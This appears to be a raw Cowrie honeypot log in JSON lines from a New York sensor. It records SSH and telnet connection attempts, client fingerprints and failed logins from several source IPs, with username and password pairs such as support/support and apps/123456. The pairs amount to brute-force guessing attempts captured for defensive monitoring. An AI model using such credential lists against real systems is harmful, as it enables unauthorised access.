{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:32:35.958127Z","src_ip":"159.203.92.129","session":"eb398f759ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apps","password":"123456","message":"login attempt [apps/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:32:35.969468Z","src_ip":"159.203.92.129","session":"eb398f759ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:32:36.975245Z","src_ip":"159.203.92.129","session":"eb398f759ab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":53440,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1b79c1c69c6","protocol":"ssh","message":"New connection: 122.168.114.167:53440 (159.203.135.109:22) [session: c1b79c1c69c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:32:36.980314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:32:41.614976Z","src_ip":"122.168.114.167","session":"c1b79c1c69c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:32:41.617953Z","src_ip":"122.168.114.167","session":"c1b79c1c69c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:33:00.735894Z","src_ip":"122.168.114.167","session":"c1b79c1c69c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.5","message":"Connection lost after 29.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:33:06.516058Z","src_ip":"122.168.114.167","session":"c1b79c1c69c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":55838,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d3ac567c235","protocol":"ssh","message":"New connection: 122.168.114.167:55838 (159.203.135.109:22) [session: 1d3ac567c235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:33:15.843730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:33:20.943464Z","src_ip":"122.168.114.167","session":"1d3ac567c235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:33:20.947228Z","src_ip":"122.168.114.167","session":"1d3ac567c235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34664,"dst_ip":"159.203.135.109","dst_port":22,"session":"5669c64b5c95","protocol":"ssh","message":"New connection: 159.203.92.129:34664 (159.203.135.109:22) [session: 5669c64b5c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:33:21.569373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:33:21.574202Z","src_ip":"159.203.92.129","session":"5669c64b5c95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:33:21.578428Z","src_ip":"159.203.92.129","session":"5669c64b5c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apps","password":"apps","message":"login attempt [apps/apps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:33:21.588665Z","src_ip":"159.203.92.129","session":"5669c64b5c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:33:22.594767Z","src_ip":"159.203.92.129","session":"5669c64b5c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:33:42.722612Z","src_ip":"122.168.114.167","session":"1d3ac567c235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.3","message":"Connection lost after 33.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:33:49.138522Z","src_ip":"122.168.114.167","session":"1d3ac567c235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":58244,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cc6919318fc","protocol":"ssh","message":"New connection: 122.168.114.167:58244 (159.203.135.109:22) [session: 6cc6919318fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:33:53.335587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:33:58.351209Z","src_ip":"122.168.114.167","session":"6cc6919318fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:33:58.354803Z","src_ip":"122.168.114.167","session":"6cc6919318fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57238,"dst_ip":"159.203.135.109","dst_port":22,"session":"8389d36fb7e3","protocol":"ssh","message":"New connection: 159.203.92.129:57238 (159.203.135.109:22) [session: 8389d36fb7e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:06.791790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:06.797702Z","src_ip":"159.203.92.129","session":"8389d36fb7e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:06.802387Z","src_ip":"159.203.92.129","session":"8389d36fb7e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apps","password":"apps123","message":"login attempt [apps/apps123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:06.815612Z","src_ip":"159.203.92.129","session":"8389d36fb7e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:07.821501Z","src_ip":"159.203.92.129","session":"8389d36fb7e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:14.636798Z","src_ip":"122.168.114.167","session":"6cc6919318fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.2","message":"Connection lost after 27.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:20.543776Z","src_ip":"122.168.114.167","session":"6cc6919318fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":60658,"dst_ip":"159.203.135.109","dst_port":22,"session":"314b34111f36","protocol":"ssh","message":"New connection: 122.168.114.167:60658 (159.203.135.109:22) [session: 314b34111f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:35.881946Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":43636,"dst_ip":"159.203.135.109","dst_port":23,"session":"817d8f47af6c","protocol":"telnet","message":"New connection: 62.171.135.55:43636 (159.203.135.109:23) [session: 817d8f47af6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:36.667075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:39.612687Z","src_ip":"122.168.114.167","session":"314b34111f36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:39.617621Z","src_ip":"122.168.114.167","session":"314b34111f36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49366,"dst_ip":"159.203.135.109","dst_port":22,"session":"2508a22c65e5","protocol":"ssh","message":"New connection: 159.203.92.129:49366 (159.203.135.109:22) [session: 2508a22c65e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:52.441211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:52.445294Z","src_ip":"159.203.92.129","session":"2508a22c65e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:52.449430Z","src_ip":"159.203.92.129","session":"2508a22c65e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appserver","password":"123","message":"login attempt [appserver/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:52.459597Z","src_ip":"159.203.92.129","session":"2508a22c65e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:53.465665Z","src_ip":"159.203.92.129","session":"2508a22c65e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:34:57.814461Z","src_ip":"122.168.114.167","session":"314b34111f36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.4","message":"Connection lost after 27.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:35:03.296806Z","src_ip":"122.168.114.167","session":"314b34111f36","protocol":"ssh"}
